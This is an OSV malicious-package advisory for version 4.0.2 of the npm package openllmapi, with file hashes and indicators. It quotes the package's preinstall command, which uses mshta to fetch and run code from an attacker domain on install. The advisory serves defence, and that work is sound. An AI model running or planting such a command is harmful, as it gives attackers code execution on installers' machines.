MAL-2026-6364

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/openllmapi/MAL-2026-6364.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6364
Published
2026-06-24T02:56:49Z
Modified
2026-06-24T03:31:23.571431567Z
Summary
Malicious code in openllmapi (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41)

The package's preinstall lifecycle script (preinstall.js line 3) runs cmd /c "mshta http://fixars.top", which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on npm install and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-24T03:14:02.45201803Z",
            "modified_time": "2026-06-24T02:56:49Z",
            "sha256": "9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41",
            "versions": [
                "4.0.2"
            ],
            "id": "IN-MAL-2026-007408",
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / openllmapi

Package

Name
openllmapi
View open source insights on deps.dev
Purl
pkg:npm/openllmapi

Affected ranges

Affected versions

4.*
4.0.2

Database specific

indicators 
{
    "evidence_files": [
        {
            "tlsh": "70b012d499453234b252a0e02c3060225807c441225055e0648c451d441741516235fd",
            "sha256": "6531737cdf18669d076b7ff3bf8168ddc74828f385a4a037a47bd8767d11b889",
            "path": "preinstall.js"
        },
        {
            "tlsh": "9be026204c75a53369c202a50ca64021b760cf1b06107c0e6bcf142c038e6b754ff20d",
            "sha256": "d09e28cb568bc403093feef78ef6b0ae9b5365412adec88d82c723451b0b771f",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "filename": "openllmapi-4.0.2.tgz",
            "hashes": {
                "sha1": "b3823fda0af432b7eeb17676511f10567a35def9",
                "sha512_sri": "sha512-eKgchHD0vsciG1f75RPAqajTI0Y0llJFs5/EDlJituq2DF8rcefYnvqKGu+mGpWkS9+Roa1lpF/ywwDL0yQrPw=="
            }
        }
    ]
}
cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/openllmapi/MAL-2026-6364.json"